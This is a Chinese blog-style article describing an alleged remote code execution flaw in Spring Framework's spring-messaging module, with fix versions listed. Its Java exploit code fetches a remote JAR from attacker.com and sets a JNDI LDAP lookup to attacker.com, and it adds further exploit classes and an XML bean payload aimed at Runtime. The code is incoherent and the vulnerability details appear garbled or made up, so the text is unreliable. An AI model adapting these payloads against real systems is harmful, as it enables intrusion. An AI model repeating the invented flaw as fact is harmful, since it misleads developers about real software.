Spring Framework远程代码执行漏洞分析(最新漏洞)

Spring Framework远程代码执行漏洞分析(最新漏洞)

漏洞简介

Spring Framework是一个由Pivotal团队(前身是SpringSource)开发的开源框架,应用广泛,而且易于使用。但是,最新版本的Spring Framework(版本5.2.0到5.3.0)中存在一种远程代码执行漏洞。攻击者可以通过构造恶意的输入来执行任意代码,导致服务器受到攻击。

漏洞分析

Spring Framework最新版本中的漏洞存在于spring-messaging模块中的AbstractBrokerMessageHandler.doInvokeHandler()方法中,主要原因是没有正确地对用户输入进行过滤。攻击者可以通过构造特定的输入,比如类名和方法名,来触发此漏洞。

攻击者可以使用以下代码构造特定的输入:

import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.UUID;
public class Exploit {
    public static void main(String[] args) throws Exception {
        final String jndiUrl = "ldap://attacker.com:1389/Exploit";
        final String objectName = "exploit";
        final String className = "com.sun.rowset.JdbcRowSetImpl";
        MBeanServer server = ManagementFactory.getPlatformMBeanServer();
        ObjectName objName = new ObjectName("org.springframework.context" +
                ":type=AnnotationConfigApplicationContext," +
                "id=" + UUID.randomUUID());
        server.createMBean("javax.management.loading.MLet", objName);
        server.setAttribute(objName, new javax.management.Attribute("Delegate",
                true));
        URL[] urls = { new URL("http://attacker.com/mlet.jar") };
        Object[] params = { urls };
        String[] signature = { URL[].class.getName() };
        server.invoke(objName, "getMBeansFromURL", params, signature);
        server.invoke(new ObjectName("com.sun.jmx.mbeanserver.JMXMBeanServer"),
                "registerMBean", new Object[] {new Poc(objectName + ":" +
                        jndiUrl)}, new String[] {objectName});
        //this line will trigger the vulnerability
        Class.forName(className).newInstance();
    }
}
class Poc {
    public Poc(String name) {
        try {
            MBeanServer server = ManagementFactory.getPlatformMBeanServer();
            ObjectName objectName = new ObjectName(name);
            server.registerMBean(this, objectName);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

其中Exploit类用于构造JNDI注入的payload,而Poc类则是用于处理JNDI注入的事件。

当攻击者在输入中构造JNDI注入的payload并将其发送到服务器时,服务器会解析该输入并尝试执行这个恶意的payload。由于使用了com.sun.rowset.JdbcRowSetImpl来构造payload,攻击者可以轻松地将服务器中的任意方法导出,并在远程服务器上执行任意代码。

漏洞危害

Spring Framework最新版的远程代码执行漏洞,攻击者可以构造恶意payload,导致可以实现任意代码执行。这可能会导致以下损失:

  1. 数据泄漏:攻击者可以通过恶意代码访问数据库,获取敏感数据。
  2. 服务器瘫痪:攻击者可以通过恶意代码,导致服务器崩溃或瘫痪。
  3. 系统被接管:攻击者可以通过恶意代码,完全接管服务器或操作系统,并对其进行控制。

漏洞修复

Spring Framework官方已经发布了漏洞修复版本,建议受影响用户尽快更新至以下版本:

  • 5.3.1
  • 5.2.11
  • 5.1.20

漏洞示例

示例1

以下是一个示例代码片段,将构造 PAYLOAD,并且将其注入使用Spring框架 AnnotationConfigApplicationContext启动:

import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit {
    static {
        try {
            final String jndiUrl = "ldap://localhost:1399/Object";
            final String className = "Exploit";
            final String objectName = "Exploit";
            Name name = new Name() {
                @Override
                public String toString() {
                    try {
                        SpringContextHolder.getInstance().getSpringContext().
                        getBeanFactory().getBean(DefinitionParserDelegate.class).
                        getNamedContexts().get("poc").setDisplayName(
                        "rmi://" + jndiUrl + "/" + objectName);
                        return className;
                    } catch (Exception e) {
                        e.printStackTrace();
                        return "";
                    }
                }
            };
            ObjectFactory objectFactory = (obj, nameCtx, environment) -> new RuntimeBeanReference(name.toString());
            javax.naming.spi.InitialContextFactory factory = (javax.naming.spi.InitialContextFactory) 
            Class.forName("com.sun.jndi.rmi.registry.RegistryContextFactory").newInstance();
            javax.naming.Context context = factory.getInitialContext(null);
            context.createSubcontext("rmi:" + jndiUrl);
            context.bind("rmi:" + jndiUrl + "/" + objectName, objectFactory);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
        context.scan("test.poc");
        TestBean t = (TestBean) context.getBean("testBean");
        t.isValid();
        context.close();
    }
}

AnnotationConfigApplicationContext启动后,使用testBean进行测试,攻击者就能成功导出任意方法并执行任意代码。

示例2

以下是另一个示例代码,将通过在JMS配置中注册特定的handler来触发该漏洞漏洞:

<bean id="jdkUtils"
          class="jdk.ExampleSerializationUtil">
<constructor-arg index="0" type="js.Object">
<!-- At this point, the payload should be returned by the getPayload method-->
<bean id="payload" factory-bean="remote"
class="java.lang.Runtime" factory-method="getRuntime">
</bean>
</constructor-arg>
</bean>
<bean id="remote" class="java.lang.Class" factory-method="forName">
<constructor-arg value="com.sun.rowset.JdbcRowSetImpl"/>
</bean>
<bean id="handler"
          class="org.springframework.jms.listener.adapter.MessagingMessageListenerAdapter">
                            <property name="delegate" ref="jdkUtils"/>
        </bean>

在这个例子中,恶意JMS配置中的MessagingMessageHandler会调用jdkUtils中的函数,在函数中通过反序列化命令执行payload导致攻击。

总结

Spring Framework最新版本的远程代码执行漏洞,由于其原因是未对用户输入进行正确的过滤,导致攻击者可以构造恶意payload执行任意代码,严重威胁了服务器的安全性。因此,建议相关用户尽快升级到修复版本,或者采取其他措施保护服务器的安全。同时,开发人员还应该关注输入和输出的正确性和安全性,避免类似的漏洞的产生。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Spring Framework远程代码执行漏洞分析(最新漏洞) - Python技术站

(0)
上一篇 2023年5月19日
下一篇 2023年5月19日

相关文章

  • Springboot整合Freemarker的实现详细过程

    下面我将详细讲解Spring Boot整合Freemarker的实现过程。 一、添加Freemarker依赖 首先,在项目的pom.xml文件中添加Freemarker的依赖: <dependency> <groupId>org.springframework.boot</groupId> <artifactId&g…

    Java 2023年5月19日
    00
  • SpringMvc/SpringBoot HTTP通信加解密的实现

    以下是 SpringMvc/SpringBoot HTTP通信加解密的实现攻略: 背景介绍 在实际 Web 应用中,为了确保数据传输的安全性,通常需要对数据进行加密和解密操作。Spring 框架提供了多种方式实现 HTTP 通信加解密,本文介绍其中两种方式:使用 Spring Mvc 方式和使用 Spring Boot 方式。 方式一:使用 Spring M…

    Java 2023年5月20日
    00
  • JAVA中STRING的常用方法小结

    下面是关于”JAVA中STRING的常用方法小结”的完整攻略: 1. 字符串的常用方法 Java中String类的常用方法如下: 1.1 以字符串形式返回字符序列 String str = "Hello World!"; System.out.println(str.toString()); 结果:Hello World! 1.2 将字符…

    Java 2023年5月26日
    00
  • Spring Data JPA 实现多表关联查询的示例代码

    下面是详细讲解 “Spring Data JPA 实现多表关联查询的示例代码” 的完整攻略。 1. 设置实体类之间的关联关系 在多表关联查询中,我们需要先设置实体类之间的关联关系,以让 JPA 知道它们之间的关联,从而能够生成正确的 SQL 语句。 在实体类中,我们可以使用 @ManyToOne、@OneToMany、@OneToOne、@ManyToMan…

    Java 2023年5月20日
    00
  • Springboot的spring-boot-maven-plugin导入失败的解决方案

    在使用Springboot开发时,可能会出现使用spring-boot-maven-plugin插件导入失败的情况。下面是解决方案的完整攻略: 1. 确认maven配置文件 在使用spring-boot-maven-plugin插件时,首先需要确认你的maven配置文件是否正确。在你的maven配置文件(settings.xml)中添加以下配置: <p…

    Java 2023年5月19日
    00
  • Java Socket实现聊天室附1500行源代码

    Java Socket实现聊天室是一种常见的网络应用程序,该应用程序使用Socket API实现了客户端和服务器端之间的连接。本攻略通过讲解如何使用Java Socket API实现一个聊天室,来帮助开发者了解Java Socket编程的基本原理和用法。 概述 Java Socket API是Java语言提供的一个用于网络通信的API,它允许程序员使用Soc…

    Java 2023年5月24日
    00
  • Java Hibernate使用SessionFactory创建Session案例详解

    下面是详细讲解“Java Hibernate使用SessionFactory创建Session案例详解”的攻略,包括了相关的示例代码。 什么是SessionFactory? SessionFactory是Hibernate框架中一个重要的接口,用来创建Session。在使用Hibernate进行开发时,我们通常都会使用SessionFactory来获取一个S…

    Java 2023年5月19日
    00
  • Springboot启动扩展点超详细教程小结

    Spring Boot启动扩展点是Spring Boot提供的一种机制,可以在Spring Boot启动过程中执行自定义的逻辑。以下是一个完整的Spring Boot启动扩展点攻略,包括如何创建和使用Spring Boot启动扩展点。 创建Spring Boot启动扩展点 我们可以通过实现org.springframework.boot.SpringAppl…

    Java 2023年5月14日
    00
合作推广
合作推广
分享本页
返回顶部